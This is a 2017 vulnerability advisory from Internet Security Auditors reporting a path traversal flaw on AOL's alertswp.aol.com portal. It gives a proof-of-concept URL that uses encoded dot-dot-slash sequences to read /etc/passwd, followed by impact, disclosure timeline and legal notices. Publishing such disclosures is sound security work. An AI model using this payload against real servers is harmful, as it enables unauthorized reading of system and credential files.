Pasar al contenido principal

2017-003: My AOL | Today's News vulnerable to Path Traversal

2017-003: My AOL | Today's News vulnerable to Path Traversal

Original release date: June 26, 2017
Last revised: June 26, 2017
Severity: 7.8 CVSSv2:(AV:N/AC:L/Au:N/C:C/I:N/A:N)

BACKGROUND

AOL Inc. (simply known as AOL, originally known as America Online) is a web portal and online service provider based in New York, a Subsidiary of Verizon Communications, a part of Oath. AOL was one of the early pioneers of the Internet in the mid-1990s, and the most recognized brand on the web in the U.S. It originally provided a dial-up service to millions of Americans, as well as providing a web portal, e-mail, instant messaging and later a web browser following its purchase of Netscape.

DESCRIPTION

"alertswp.aol.com" is vulnerable to path traversal, so anyone can access the file system remotely.

PROOF OF CONCEPT

http://alertswp.aol.com/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

BUSINESS IMPACT

Access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

SYSTEMS AFFECTED

Current "alertswp.aol.com" Portal site.

SOLUTION

-

REVISION HISTORY

June 26, 2017 : Initial release

DISCLOSURE TIMELINE

  • June 26, 2017 : Vulnerability acquired by Internet Security Auditors (www.isecauditors.com).
  • June 26, 2017 : Advisory comunicated to AOL security team.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

ABOUT

Internet Security Auditors is a Spain and Colombia based company leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.